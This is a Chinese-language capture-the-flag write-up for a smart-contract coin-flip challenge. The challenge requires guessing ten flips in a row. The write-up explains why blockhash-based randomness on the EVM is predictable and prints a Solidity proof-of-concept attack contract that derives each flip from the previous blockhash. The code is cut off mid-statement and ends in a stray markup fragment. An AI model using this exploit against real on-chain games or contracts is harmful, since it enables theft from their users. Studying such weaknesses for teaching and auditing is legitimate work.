题目要求:连续猜出10次抛硬币的结果
题意解析:
本题的关键点在于下面这条语句
显然,本题的考察点在于如何利用EVM中随机数生成的固有缺陷
我们需要明白一点,由于区块链网络中所有节点的共识机制,基于EVM自身构建的伪随机数在一定条件下都是可以预测的(此处不考虑预言机的问题)
那么本题的逻辑就非常清晰了:
如果blockvalue≥FACTOR,则side取true,此时我们的_guess同样应该取true
如果blockvalue < FACTOR,则side取false,此时我们的_guess同样应该取false
连续调用10次flip函数即可过关
下面是本题的POC合约
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import '@openzeppelin/contracts/utils/math/SafeMath.sol';contract POC {using SafeMath for uint256;address public victim;function setVictim(address victim_) public {victim = victim_;}function flip_attack() public {uint256 blockValue = uint256(blockhash(block.number.sub(1)));uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;uint256 coinFlip = blockValue.div(FACTOR);bool guess = coinFlip == 1 " />